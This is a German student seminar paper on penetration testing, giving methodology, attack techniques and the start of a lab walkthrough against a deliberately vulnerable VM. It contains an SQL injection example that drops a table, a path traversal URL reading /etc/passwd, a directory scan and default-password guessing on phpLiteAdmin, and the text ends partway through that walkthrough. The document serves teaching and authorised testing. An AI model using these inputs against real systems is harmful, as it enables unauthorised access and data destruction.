Penetrationstests als Werkzeug zur Überprüfung von...

Fachgebiet Kommunikationsnetze

Sebastian Dahle

Penetrationstests als Werkzeug zur Überprüfung vonNetzwerksicherheit

Projektseminararbeit im Studiengang Ingenieurinformatik

20. Februar 2018

Bitte zitieren als:Sebastian Dahle, ”Penetrationstests als Werkzeug zur Überprüfung von Netzwerksicherheit”, Projektseminararbeit,Technische Universität Ilmenau, Fakultät für Elektrotechnik und Informationstechnik, Februar 2018.

Technische Universität IlmenauFakultät für Elektrotechnik und Informationstechnik


Helmholtzplatz 2 · 98693 Ilmenau · Deutschlandhttp://www.tu-ilmenau.de/kn

http://www.tu-ilmenau.de/kn

Penetrationstests als Werkzeug zurÜberprüfung von Netzwerksicherheit

Projektseminararbeit im Studiengang Ingenieurinformatik

vorgelegt von

Sebastian Dahle

angefertigt am


Fakultät für Elektrotechnik und InformationstechnikTechnische Universität Ilmenau

Betreuer: Dr.-Ing. Maik Debes

Abgabe der Arbeit: 20. Februar 2018

Erklärung

Ich versichere, dass ich die Arbeit ohne fremde Hilfe und ohne Benutzung anderer alsder angegebenen Quellen angefertigt habe und dass die Arbeit in gleicher oder ähnlicherForm noch keiner anderen Prüfungsbehörde vorgelegen hat und von dieser als Teil einerPrüfungsleistung angenommen wurde.Alle Ausführungen, die wörtlich oder sinngemäß übernommen wurden, sind als solchegekennzeichnet.

(Sebastian Dahle)Ilmenau, 20. Februar 2018

Abstract

This thesis is about pentesting as a tool to reconsider the security of networks and thesystems in it. An overview of commonly used approaches and attacking techniquesare given. Afterwards required theoretical foundations to the practical part are ex-pounded followed by it’s process description. Besides possibilities for documentationand automatisation of penetration tests are discussed.

Projektseminararbeit Sebastian Dahle iii

Kurzfassung

Diese Projektseminarbeit behandelt das Thema Pentesting zur Überprüfung der Sicher-heit in Netzwerken und darin enthaltenen Systemen. Es wird ein allgemeiner Überblick zugenerellem Vorgehen und oft verwendeten Angriffstechniken gegeben. Anschließend wer-den benötigte theoretische Grundlagen für den Praxisteil erläutert, dessen Beschreibungfolgt. Des Weiteren werden noch Möglichkeiten der Dokumentation und Automatisierungvon Penetrationstests näher beleuchtet.

Projektseminararbeit Sebastian Dahle iv

Inhaltsverzeichnis

Abstract iii

Kurzfassung iv

1 Einleitung 11.1 Aufgabenstellung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11.2 Motivation Pentesting . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21.3 Grundlegende Vorgehensweisen . . . . . . . . . . . . . . . . . . . . . . . 21.4 Sicherheitsziele . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

2 Allgemeines 42.1 Generelle Vorgehensweise . . . . . . . . . . . . . . . . . . . . . . . . . . 4

2.1.1 Recherche zum Zielsystem . . . . . . . . . . . . . . . . . . . . . . 42.1.2 Scan des Zielsystems . . . . . . . . . . . . . . . . . . . . . . . . . 52.1.3 System- und Anwendungserkennung . . . . . . . . . . . . . . . . 52.1.4 Recherche zu Schwachstellen im Zielsystem . . . . . . . . . . . . 62.1.5 Ausnutzung von Schwachstellen im Zielsystem . . . . . . . . . . 6

2.2 Angriffstechniken . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62.2.1 Code Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72.2.2 Overflows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72.2.3 Privilege Escalation . . . . . . . . . . . . . . . . . . . . . . . . . 82.2.4 Denial of Service . . . . . . . . . . . . . . . . . . . . . . . . . . . 8

3 Dokumentation 9

4 Vorbereitungen zum Praxisteil 104.1 Begriffserklärungen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

4.1.1 Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104.1.2 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

Projektseminararbeit Sebastian Dahle v

Inhaltsverzeichnis

4.1.3 Payload . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114.1.4 Meterpreter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124.1.5 Pivoting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

4.2 Verwendete Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124.2.1 Kali . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124.2.2 Metasploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

5 Testszenario 145.1 Einführung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145.2 Aufbau des Testnetzes . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

5.2.1 Technische Umsetzung . . . . . . . . . . . . . . . . . . . . . . . . 165.3 Vorgehen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

5.3.1 Vorbereitung und Erkundung . . . . . . . . . . . . . . . . . . . . 165.3.2 Zugangsetablierung auf Webserver . . . . . . . . . . . . . . . . . 195.3.3 Übernahme des Webservers . . . . . . . . . . . . . . . . . . . . . 205.3.4 Erkundung des weiteren Netzwerkes und Pivoting . . . . . . . . 215.3.5 Kompromittierung des Fileservers . . . . . . . . . . . . . . . . . 225.3.6 Beseitigung von Spuren . . . . . . . . . . . . . . . . . . . . . . . 23

5.4 Ergebnis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 235.4.1 Verbesserungsvorschläge . . . . . . . . . . . . . . . . . . . . . . . 24

6 Diskussion zur Automatisierung 25

7 Zusammenfassung 26

Literaturverzeichnis 32

Projektseminararbeit Sebastian Dahle vi

Kapitel 1

Einleitung

1.1 Aufgabenstellung

Ein Penetrationstest, kurz Pentest, ist ein Ausdruck für einen Sicherheitstest einesSystems oder Netzwerkes, bei dem deren Bestandteile auf Schwachstellen untersuchtwerden. Dabei wird auf Mittel und Methoden zurückgegriffen, die ein realer Angreifernutzen würde, um unautorisiert Zugriff auf das getestete System oder Netzwerk zuerlangen.

Im Rahmen des Projektseminars ist zu recherchieren, welche Techniken für solcheTests eingesetzt werden. Darauf aufbauend sollen außerdem Tests in einem realenNetzwerk durchgeführt werden. Im Einzelnen sind folgende Aspekte zu berücksichtigen:

• Recherche zu verwendeten Techniken für Pentest-Verfahren

• Beschreibung verbreiteter Vorgehensweisen

• Möglichkeiten der Dokumentation von Durchführung und Ergebnissen solcherTests

• Konzeption, Durchführung, Auswertung und Dokumentation von Penetrations-tests in einem Versuchsnetzwerk unter Berücksichtigung der Ergebnisse aus denvorhergehenden Teilaufgaben

• Ausarbeitung und Umsetzung von automatisierten Testschritten, die bei verschie-denen Pentest-Verfahren wiederholt auftreten

Projektseminararbeit Sebastian Dahle 1

1 Einleitung

1.2 Motivation Pentesting

Steigende Komplexität bei Hard- und Software in modernen Informationssystemenerhöhen die Fehlerrate in erwerbbaren Produkten. Dieses Problem ist bekannt undwird seitens der Hersteller und Entwickler häufig mit Nachbesserungen in Form vonUpdates begegnet. Jedoch bleibt es oft dem Nutzer bzw. dem Kunden überlassen, ober diese einpflegt. Einige dieser Fehler können jedoch von Dritten genutzt werden, umSicherheitsmaßnahmen zu umgehen, um somit die Funktion von System bzw. dessenangebotenen Diensten nach deren Interessen zu manipulieren. Ziel eines Penetrations-tests ist es das Verhalten eines solchen Angreifers nachzuahmen und Erkenntnisse zuerlangen, wie ein bestimmtes System kompromittiert werden könnte. So können in FolgeMaßnahmen ergriffen werden, die beim Test herausgestellte Schwachstellen behebenoder zumindest so zu verändern, dass ein Angreifer sie nicht mit einfachsten Mitteln fürseine Zwecke nutzen kann.

1.3 Grundlegende Vorgehensweisen

Es gibt grundsätzlich drei verschiedene Vorgehensweisen, die bei Penetrationstests zurAnwendung kommen. Zum einen die Umgehung physischer Sicherheitsmaßnahmen.Dabei wird sich unerlaubt z.B. Zugang zum Rechenzentrum verschafft oder Datenträgerentwendet. Eine weitere Methode wird Social-Engineering genannt. Dabei wird versuchtdurch Täuschung sicherheitsrelevante Informationen z.B. Passwörter von Systemendurch Manipulation von Menschen zu erlangen. Dies kann beispielsweise auch durchErpressung geschehen.Auf der dritten Vorgehensweise liegt der Fokus dieser Projektseminararbeit - Angriffe überdas Netzwerk. Dabei werden Schwachstellen in Systemen ausgenutzt um Sicherheitszielezu verletzen, welche im Folgenden kurz vorgestellt werden.


1 Einleitung

1.4 Sicherheitsziele

Sicherheitsziele in Informationssystemen sind Allgemeine Anforderungen an ein System,um deren ordnungsgemäße Funktion sicherzustellen. Durch Überprüfung der einzelnenAnforderungen kann abgeschätzt werden, wie sicher ein System ist. Dabei ist es möglichdas bestimmte Sicherheitsziele nicht gleichzeitig umgesetzt werden können. Neben denin Folgenden näher erläuterten Sicherheitszielen, gibt es weitere, die in der Regel jedochnicht besonders relevant für Penetrationstests sind z.B. direkte Zurechenbarkeit oderPrivatsphäre.

• Vertraulichkeit - Informationen, die versendet oder gespeichert sind, sollen aus-schließlich den vom System vorgesehenen Teilnehmern verfügbar gemacht werden.

• Integrität - Informationen werden so versendet oder gespeichert, dass Änderun-gen dieser detektiert werden können und der Urheber der Information eindeutigidentifizierbar ist.

• Verfügbarkeit -Angebotene Dienste sollen verfügbar sein und ordnungsgemäßfunktionieren.

• Nichtabstreitbarkeit -Teilnehmer eines Informationsaustausches sollen im Nach-hinein nicht abstreiten können, an dieser teilgenommen zu haben.


Kapitel 2

Allgemeines

2.1 Generelle Vorgehensweise

2.1.1 Recherche zum Zielsystem

Zu Beginn eines Penetrationstestes steht die Einholung genereller Informationen zumZielsystem im Vordergrund. Sollte der Penetrationstest eine Auftragsarbeit sein, wer-den in dieser Phase auch die Grenzen des Tests festgelegt. Da Penetrationstests vonSystemen meist über das Netzwerk stattfinden, ist die Internet Protocol (IP)-Adressedes Zielsystems essentiell. Darüber hinaus können weitere Informationen über das Ziel-system den Verlauf des weiteren Penetrationstests vereinfachen z.B. falls es Wartungs-oder Testintervalle im Ziel gibt, bei denen einzelne Sicherheitsmechanismen deaktiviertoder angebotene Dienste leichter angreifbar sind. Auch ist es für die folgenden Schrittesinnvoll schon vor aktivem Testbeginn in Erfahrung zu bringen, welche Teilsystemeund Dienste im Zielsystem Anwendung finden. Abseits technischer Aspekte kann esauch von Vorteil sein zu wissen, wer in welcher Art und Weise im Regelbetrieb mit demZielsystem interagiert, damit während des Penetrationstest übliches Nutzerverhaltenimitiert werden kann.


2 Allgemeines

2.1.2 Scan des Zielsystems

Über das Netzwerk angebotene Dienste nutzen geöffnete Ports im Anbietersystem, umDienstnehmern Zugriff zu ermöglichen. Um die Nutzerfreundlichkeit und Kompatibi-liät für Anwender zu steigern sind diese oft standardisiert. Beispielsweise bietet einWebserver Zugriff per Hypertext Transfer Protocol (HTTP) in der Regel auf Port 80an. Eine vollständige Auflistung dieser well-known ports findet sich auf der Website derInternet Assigned Numbers Authority (IANA)[1]. Bei einem Penetrationstest werdenüblicherweise diese well-known ports auf Aktivität überprüft um mögliche Angriffsvekto-ren zu identifizieren. Sollten nicht standardisierte Ports verwendet, ist ebenfalls möglichalle verfügbaren 65536 Ports zu überprüfen. Da ein zu schnelles Abfragen, eine unge-wöhnliche und sehr auffällige Aktivität wäre, kann dies den Scanvorgang zeitlich enormaufweiten. Eine bessere Alternative wäre es, in der vorgehenden Phase die verwendetenPorts anderweitig in Erfahrung zu bringen z.B. durch wenn möglich Mitschneiden undAuswerten von Netzwerkverkehr vom und zum Zielsystem.

2.1.3 System- und Anwendungserkennung

Nachdem erreichbare Ports des Zielsystem identifiziert wurden, ist der nächste Bestandteildes Penetrationstests die sich dahinter befindliche Anwendung und deren Version zuidentifizieren. Am Beispiel der Auswertung des HTTP-Response-Header von www.tu-ilmenau.de in Abbildung 2.1, erlangt man die Erkenntnis, der Webserver der TU IlmenauApache in der Version 2.4.10 und Debian als Betriebsystem verwendet. Das Anwendensolcher Techniken wird oft als Fingerprinting bezeichnet.

Abbildung 2.1 – HTTP-Response-Header von www.tu-ilmenau.de


2 Allgemeines

Es ist anschließend abzuschätzen, inwiefern die identifizierten Anwendungen des Sys-tems genutzt werden können, um das Ziel des Penetrationstests umzusetzen. Wennbeispielsweise die Sicherheit im System gespeicherter Nutzerdaten überprüft werdensoll, ist es wenig sinnvoll nach Anwendungen zu suchen, die anfällig für Denial ofService (DoS)-Attacken sind, welche in Abschnitt 2.2.4 näher beleuchtet werden.

2.1.4 Recherche zu Schwachstellen im Zielsystem

Anhand der gesammelten Informationen werden nun Schwachstellen für die verwen-deteten Systemkomponenten und Anwendungen gesucht. Dafür gibt es entsprechendeSchwachstellen-Datenbanken. Diese sind zum Teil frei verfügbar wie die "Datenbank fürIT-Angriffsanalysen" [2] bereitgestellt durch das Hasso-Plattner-Institut. Darüber hin-aus gibt es auch kostenpflichtige Schwachstellen-Datenbanken. Es ist selbstverständlichauch möglich selbst nach Schwachstellen in identifizerten Diensten zu suchen, jedochübersteigt dies den Umfang eines üblichen Penetrationstests und ist nicht Teil dieserProjektseminiararbeit.

2.1.5 Ausnutzung von Schwachstellen im Zielsystem

Die ermittelten Schwachstellen werden nun aktiv genutzt, um Sicherheitsziele des Ziel-systems zu verletzten. Mit den Ergebnissen dieser Ausnutzung der gefundenen Schwach-stellen gelangt der Tester gegebenenfalls an weitere Informationen zum Zielsystem undkann durch Iteration der vorangegangenen Schritte weitere Schwachstellen identifizierenund ausnutzen.

2.2 Angriffstechniken

Grundsätzlich unterscheidet man bei Penetrationstests verschiedene Techniken fürden eigentlichen Angriff. In folgenden wird eine Auswahl von Angriffstechniken nähererläutert, die entweder späteren Praxisteil Anwendung finden bzw. als besonders beliebtgelten.


2 Allgemeines

2.2.1 Code Injection

Bei Code Injection werden auf dem Zielsystem ausführbare Befehle hinterlegt, die imAnschluss ausgeführt werden. Die prominentesten Code Injections sind Structured QueryLanguage (SQL)-Injections. Ein einfaches Beispiel hierfür sind HTML-Formulare, dessenEingabe automatisiert in SQL-Befehle umgeschrieben werden, damit Eingaben in einerDatenbank gespeichert werden können. Wird bei der Programmierung der entsprechendenBefehlsgenerierung nicht genau auf die Eingaben geachtet, kann ein Angreifer, durcheine einfache Nutzereingabe wie in folgender Code-Zeile, ganze Datenbanken oderTabellen auslesen oder wie hier im Beispiel einfach löschen, da er anstatt einer regulärenEmail-Adresse x’; DROP TABLE members; – eingibt und daraus folgenden Befehlgeneriert.

1 ELECT email , passwd , login_id , full_name2 FROM members3 WHERE email = ’x’; DROP TABLE members ; --’;

2.2.2 Overflows

Overflows arbeiten ähnlich wie Code Injections, jedoch wird dabei durch geschickteNutzereingaben, bei Programmen die in maschinennahen Programmiersprachen wieC oder C++ verfasst sind, auf Speicherbereiche zugriffen, die eigentlich außerhalb derReichweite des Programms und damit auch oft außerhalb der Zugriffsberechtigungen desausführenden Nutzers liegen. Man unterscheidet meist zwischen Stack Overflows, BufferOverflows oder Pointer Overflows, je nachdem welcher Speicherbereich im Programmkompromittiert wird. Overflows können in der Regel nur verhindert werden, in demder Programmierer Eingaben auf deren eigentlichen Nutzen beschränkt, was bei großenProgrammen aber teils zu erheblichen Mehraufwand führt.


2 Allgemeines

2.2.3 Privilege Escalation

Privilege Escalation beschreibt den Vorgang der Ausnutzung einer Sicherheitslücke ineiner Software, um als ein bekannter Nutzer zusätzliche Rechte auf einen System zuerlangen. Der Nutzer kann z.B. der sein, der einen übernommenen Prozess ausführt oderdessen Zugangsdaten bekannt sind, jedoch nicht über die gewünschten Befugnisse verfügtum das Angriffsziel zu erreichen. Man unterscheidet zwischen horizontaler und vertikalerPrivilege Escalation. Bei der vertikalen Privilege Escalation versucht man die Rechte desNutzers, in die eines privilegierteren Nutzer zu ändern. Auf Windows-System z.B. vomStandardbenutzer in einen Administrator. Im Vergleich dazu verschafft man sich bei derhorizontalen Privilege Escalation Zugriff auf Rechte eines ähnlich privilegierten Nutzer.Ein Beispiel hierfür, wären z.B. zwei Standardnutzer, die einen persönlichen Ordnerbesitzen, auf denen sie jeweils exklusiv zugreifen können. So kann durch horizontalePrivilege Escalation auf die persönlichen Daten eines anderen Nutzer zugegriffen werden.

2.2.4 Denial of Service

Denial of Service ist ein Angriff mit dem Ziel die Funktion eines Systems bzw. einesdarauf angebotenen Dienstes zu deaktivieren oder zumindest zu stören. Dabei wirdin der Regel eine Schwachstelle so ausgenutzt, dass Ressourcen, die für den regulärenBetrieb benötigt werden, fälschlicherweise verschwendet werden. Dies resultiert meist inder Nichterreichbarkeit des Systems bzw. des Dienstes oder einem Anwendungs- oderSystemabsturzes. Eine Unterart von DoS stellt Distrubed Denial of Service (DDoS) dar.Dabei wird auf ein System von unverhältnismäßig vielen Clients zugegriffen. So wirddie Funktion eines Systems nicht durch eine unberechtigte Anfrage, sondern durch dieMasse an regulären Anfragen, gestört.

Im Kontext von Penetrationstests werden DoS-Attacken selten durchgeführt, da beiErfolg das Zielsystem deutlich beeinträchtigt wird. Es kann aber durchaus sinnvoll sein,mögliche DoS-Angriffsvektoren wärend eines Penetrationstests zu identifizieren, damitdiese im Anschluss beseitigt werden könnten.


Kapitel 3

Dokumentation

Dokumentation ist ein essentieller Bestandteil von Penetrationstests. Zum einen dientsie als Nachweis, dass festgelegte Grenzen für den Test nicht überschritten wurden unddas Ziel des Tests erreicht wurde. Zum anderen können bei einer erfolgreichen Verletzungeines Sicherheitsziel, durch Analyse des Vorgehens, mögliche Gegenmaßnahmen etabliertwerden, um diese Art des Angriffs in Zukunft zu unterbinden, um somit die Sicherheitdes Zielsystems verbessert werden.

Dabei ist der Umfang der Dokumentation abhängig von dem des Penetrationstests.Sollten mehrere Personen am Penetrationstest beteiligt sein, kann es z.B. sinnvoll seinexterne Reporting- und Kollaborations-Tools wie Dradis[3]zu verwenden. Für kleine undübersichtliche Tests, genügt es meist entsprechende Visualiserungen der in Erfahrunggebrachten Netzwerkstruktur und Sicherheitslücken anzufertigen. In jedem Fall sollteaber der genaue Ablauf des Penetrationstests festgehalten werden. Dies kann sowohl inTextform oder auch als Videomitschnitt realisiert werden.


Kapitel 4

Vorbereitungen zum Praxisteil

4.1 Begriffserklärungen

Im folgenen Teil werden grundlegende Begriffe, die im Praxisteil verwendet werden, imVorfeld näher erläutert.

4.1.1 Vulnerability

Eine Vulnerability stellt eine Sicherheitslücke in einem System bzw. einer Komponenteeines Systems dar. Diese kann z.B. durch fehlerhafte Programmierung einer Softwareentstehen oder gezielt als sogenannte Backdoor platziert werden. Im normalen Pro-grammverlauf führen Vulnerabilities in der Regel nicht zu Problemen, teilweise werdensie sogar aktiv vom Programm bei der Ausführung zu dessen Funktionalität genutzt.Meist gibt es sichere Alternativen als die Benutzung bekannter Vulnerabilities, jedochführt dies möglicherweise zu Mehraufwand in der Entwicklung.


4 Vorbereitungen zum Praxisteil

4.1.2 Exploit

Als Exploits werden Programme bezeichnet, die Vulnerabilities ausnutzen, um ein Systemoder dessen Teilstücke zu übernehmen bzw. die Möglichkeit dafür nachzuweisen. Exploitskönnen nach [4] in 3 Kategorien unterschieden werden.

• Remote-Exploits - Aktiver Fernzugriff auf ein System über Vulnerabilities indessen angebotenen Netzwerkdiensten

• Local-Exploits - Aktives Ausnutzen von Vulnerabilities in Komponenten einesSystems, bei dem bereits, wenn auch möglicherweise beschränkt, Zugriff besteht,z.B. durch einen bekannten Nutzerzugang mit eingeschränkten Rechten

• Client-Software-Exploits - Ausnutzen von Vulnerabilities in Anwendungssoft-ware auf einem System. In der Regel passiv, z.B. bei Client-Zugriff auf einepräparierte Webseite, die Vulnerabilities oder dessen Erweiterungen ausnutzt

4.1.3 Payload

Verschiedene Exploits ermöglichen, nach erfolgreichen Angriff, beliebigen Code im Ziel-system auszuführen. Sollte durch einen Exploit ein Programm vollständig übernommenwurden sein, kann der Programmablauf verändert werden. Ein Payload, ist Programm-code, der in Assembler-Form in den Programmfluss des übernommenen Programmgeschleust wird und anschließend in dessen Kontext ausgeführt wird.

Payloads können nach [4] in 3 Kategorien unterschieden werden.

• Systemkommando-Payloads - vordefinierte Systembefehle, die meist zusätz-lichem Informationsgewinn oder Ausweitung der Befugnisse auf dem Zielsystemdienen

• Bind-Shell-Payloads - öffnet Kommandozeile im Zielsystem, um interaktiv Be-fehle auf dem kompromitierten System auszuführen. Diese wird als Netzwerkdienstim Zielsystem aktiviert

• Reverse-Shell-Payloads - Zielsystem initiiert Verbindung zum Angreifer undbietet ihm eine Kommandozeile an



4.1.4 Meterpreter

Ein Meterpreter stellt einen fortgeschrittenen Payload dar. Dieser wird im Zielsystemin der Regel vollständig im Arbeitsspeicher ausgeführt und nistet sich in einen bereitsvorhandenen übernommenen Prozess ein. Dies erschwert beispielsweise die Erkennungdurch Anti-Viren-Software und hinterlässt nach Beendigung der Attacke wenig Spu-ren. Benötigte Features können zur Laufzeit in den Meterpreter nachgeladen werden.Erwünschte Funktionalitäten müssen also nicht schon vor dem Angriff im Zielsystementhalten sein oder nachinstalliert werden. Diese Programmteile können bei entspre-chenden Rechten beliebig im Zielsystem verteilt werden, was eine Erkennung zusätzlicherschwert.

4.1.5 Pivoting

Sollte ein System erfolgreich kompromittiert und unter Kontrolle gebracht wordensein, kann der Angreifer dieses System nutzen, um auf weitere Systeme z.B. überzusätzliche Netzwerkschnittstellen oder Berechtigungen des Systems zuzugreifen, vondessen Existenz der Angreifer möglicherweise im Vorfeld gar nicht wusste. Dafür wird derAngreifer-Traffic entweder nur durch das bereits kompromittierte System durchgeroutetoder der Angreifer etabliert auf diesem System eine Umgebung, die weitere Scans undAngriffe ermöglichst, z.B. über einen Meterpreter.

4.2 Verwendete Tools

Während der Durchführung eines Penetrationstests im Praxisteil werden verschiedeneTools benutzt.Kali und Metasploit werden im Folgenden näher beleuchtet, die Funktionkleinerer Tools werden bei der Durchführungsbeschreibung kurz vorgestellt.

4.2.1 Kali

Kali Linux oder kurz Kali[5] ist eine auf Debian[6] basierende Linux Distribution, ge-gründet und instand gehalten durch Offensive Security[7]. Kali existiert seit 2013 und istNachfolger der Linux Distribution Backtrack. Zielgruppe von Kali sind Sicherheitsexper-ten oder IT-Administratoren, die Penetrationstests, forensische Analysen oder SecurityAudits durchführen wollen. Dabei liefert Kali oft verwendete Tools in diesem Bereichmit und ist vielseitig erweiterbar und individualisierbar.



Alternativen zu Kali sind z.B. Parrot Security OS [8] oder BlackArch Linux[9]. Dieeinen ähnlichen Funktionsumfang im Vergleich zu Kali bieten. Die Auswahl welchesBetriebssystem für einen Penetrationstest genutzt wird, erfolgt in der Regel nach dempersönlichen Geschmack des Testers.

4.2.2 Metasploit

Metasploit ist ein Exploiting-Framework und ist Bestandteil von Kali Linux. Das Open-Source-Projekt um Metasploit bzw. das Metasploit-Framework wurde 2003 von HDMoore gegründet, wurde jedoch im Oktober 2009 von Rapid7[10] akquiriert. Zielstellungdes Projektes ist, Zugang zu Detailinformationen zu bekannten Schwachstellen frei ver-fügbar zu machen. Dabei ist Metasploit sehr modular aufgebaut, damit es komfortabelerweitert bzw. bei Bedarf auf eigene Bedürfnisse angepasst werden kann. Metasploit istdank mitgelieferten Werkzeugen im Bereich Exploring, Exploiting, Logging, Automati-sierung usw. ein herausragendes Tool um Vulnerabilities in Systemen zu identifizierenund bei Bedarf auszunutzen.

Neben der kostenlosen Variante von Metasploit gibt es mit Metasploit Express und Meta-sploit Pro auch kommerzielle Versionen, die einfacheren Bedienung Weboberflächen odererweiterte Automatisierungsmöglichkeiten bieten. Alternativen zu Metasploit sind z.B.Immunity Canvas[11] oder CORE Impact[12], wobei beide Lösungen nur kostenpflichtignutzbar sind. Kostenlose Alternativen mit ähnlichem Funktionumfang wie Metasploitkonnten bei Recherchen zum Projektseminar nicht gefunden werden, was erklärt warumMetasploit über sämtliche gefundene Literatur als De-facto-Standard für verwendeteExploiting-Frameworks gilt.


Kapitel 5

Testszenario

5.1 Einführung

Die imaginäre Firma X möchte überprüfen ob die Dateien auf ihrem Fileserver vorunbefugten Zugriff, von außerhalb des internen Firmennetzwerks, ausreichend geschütztsind. Dafür soll ein Penetrationstest durchgeführt werden. Der Regelbetrieb soll nichtgestört werden, daher sollen Systemausfälle oder bleibende Veränderungen vermiedenwerden. Falls während des Penetrationstests Schwachstellen identifiziert werden, sindVerbesserungsvorschlage, die die Systemsicherheit erhöhen würden, gewünscht.

5.2 Aufbau des Testnetzes

In Abbildung 5.1 ist der für den Penetrationstest relevante Aufbau des Firmennetzwerkvon Firma X dargestellt. Ziel des Penetrationstests, ist es die Sicherheit von Dateien aufdem Fileserver zu überprüfen. Dieser befindet sich im internen Netzwerk der Firma X undes ist nicht direkt möglich von außerhalb des internen Netzwerk auf diesen zuzugreifen.Darüber hinaus gibt es einen Webserver in der Demilitarized Zone (DMZ) von Firma X.Auf Server in der DMZ kann beschränkt auf einzelne Ports von außerhalb zugegriffenwerden. Webserver und Fileserver besitzen außerdem Zugang zu einem Managementnetz.


5 Testszenario

Abbildung 5.1 – Netzwerk von Firma X

Die Auswahl dieser Konfiguration kann wie folgt begründet werden: Es ist in der Praxisnicht unüblich, dass Firmen Webseiten direkt am eigentlichen Firmenstandort hosten.Das kann z.B. die normale Website zum Unternehmen sein oder auch eigene Dienste z.B.wie private Filehosting-Dienste oder Webschnittstellen zum E-Mail-Server. Die Trennungdieser aus dem externen Netzwerk, meist dem Internet, erreichbaren Server vom internenNetzwerk durch eine DMZ ist De-facto-Standard, wobei Security-Lösungen bestehen,die den diskreten Aufbau im Testszenario, in einem Gerät vereinen. Darüber hinaus istein Managementnetz das unabhängig von der internen restlichen Infrastruktur betriebenwird üblich. Der Zugriff auf dieses Netzwerk ist in der Regel stark beschränkt und nurfür Administratoren zugänglich. So kann bei Systemausfällen im internen Netzwerkweiter auf kritische Geräte, wie hier im Beispiel der Webserver und Fileserver zugegriffenwerden.

In einem realen Szenario wäre das Firmennetzwerk natürlich deutlich umfangreicher.Aufgrund der begrenzen Ressourcen des Systems auf dem das Testszenario ausgeführtwird, ist der Umfang beschränkt. Außerdem ist der eigentliche Netzwerkaufbau bei einemPenetrationstest selten im Voraus bekannt. Daher wird bei der eigentlichen Umsetzungdes Penetrationstests so vorgegangen, als ob der Netzwerkaufbau unbekannt wäre. Einzigdie externe IP-Adresse von Firma X (192.168.10.20) ist gegeben.


5 Testszenario

5.2.1 Technische Umsetzung

Zur Umsetzung des vorgestellten Testszenario wird GNS3 [13] unter Zuhilfenahme vonVirtualBox[14] verwendet. Basis der der Virtualisierungsumgebung ist ein Windows10-System, in der ein Intel Core i5-3470 als Prozessor mit 8GB RAM arbeitet. Als Webservervon Firma X wird zico2 [15], eine verwundbare virtuelle Maschine, die einen Online-Shophostet verwendet. Für zico2 sind Lösungen verfügbar, an denen sich beim Vorgehenorientiert wird. Anhand von zico2 kann eine Vielzahl von Angriffsvektoren demonstriertwerden, weshalb es auch für das Testszenario ausgewählt wurde. Als Fileserver wird einWindows7-System aufgesetzt, auf denen Dateifreigaben verschiedener Nutzer angelegtwerden, in einer realen Umgebung würde wahrscheinlich ein dedizierter Fileserver mitServer-Betriebssystem und Domänenanbindung verwendet werden. Aufgrund der be-grenzten Ressourcen und geringerem Konfigurationsaufwand, bei ähnlichen verfügbarenAngriffsvektoren, wurde die vorher genannte Variante bevorzugt und ausgewählt.

5.3 Vorgehen

Der folgende Teil, ist aus Sicht des Angreifers verfasst. Der lediglich über die externeIP-Adresse des Firmennetzes von Firma X verfügt. Der Angreifer nutzt für den Pene-trationstest Kali. Ziel des Penetrationstests ist die Überprüfung, wie gut die Dateienauf den Fileserver von Firma X gesichert sind. Während des Tests soll die Funktion dervon Firma X angebotenen Dienste, wenn möglich, nicht beinträchtigt werden und derPenetrationstest sollte keine bleibenden Spuren hinterlassen.

5.3.1 Vorbereitung und Erkundung

Ein Scan der externen IP-Adresse von Firma X bei einem Intense Scan mit Zenmap[16],einer GUI für nmap[17] offenbart, dass ein offener Port 80 und 22 existiert. Port 80 istder well-known-port für Webanwendungen, 22 für Secure Shell (SSH)-Verbindungen.Weiterhin gibt Zenmap Auskunft über eingebaute Fingerprinting-Skripte des IntenseScans, dass OpenSSH 5.91 und Apache 2.2.22 auf einen Ubuntu-System zum Einsatzkommen. Die Betriebssystemart kann allerdings nicht direkt identifiziert werden, wasdarauf hindeuten könnte, das die angebotenen Dienste nicht direkt auf dem System mitder bekannten IP-Adresse ausgeführt werden. Bei Zugriff per Browser auf die bekannteIP-Adresse öffnet sich eine Shop-Website. Nach dem Umsehen auf der Website ändertsich der URL-Link in der Titelleiste des Browsers in die Form:


5 Testszenario

http:// 192.168.10.20/ view.php?page=tools.html

Es wird also direkt auf eine Datei im Webverzeichnis zugegriffen. Ubuntu ist eine Linux-Distribution, die oft für das Hosten von Webseiten verwendet werden. Durch Nutzungvon Standard-Linux-Navigationsbefehlen als Suffix für view.php?page= wird nunversucht aus dem Webverzeichnis auszubrechen und auf andere Systemteile zuzugreifen.Zum Beispiel führt eine Abänderung der Adresse in folgende Form zur Ausgabe, diein Abbildung 5.2 zu sehen ist. Abgebildet sind sämtliche verfügbaren Nutzer auf demWebserver die Firma X.

http:// 192.168.10.20/ view.php?page =../../ etc/ passwd

Abbildung 5.2 – Ausgabe http://192.168.10.20/view.php?page=../../etc/passwd

Ein Scan der Website mit dem Web-Content-Scanner DIRB[18] offenbart weitere Ver-zeichnisse, über die mit einem Browser ohne jegliche Authentifizierung zugegriffen werdenkann. (siehe Abbildung 5.3)


5 Testszenario

Abbildung 5.3 – Ausgabe dir http://192.168.10.20 /usr/share/dirb/wordlists/-common.txt

Besonders interessant ist das Verzeichnis http://192.168.10.20/dbadmin, dass zu einerAnmeldemaske für phpLiteAdmin[19] in Version 1.9.3 führt. Es wird ein Passwortbenötigt. Das Ausprobieren gängiger Standardpasswörter, führte zum richtigen Passwort- ’admin’

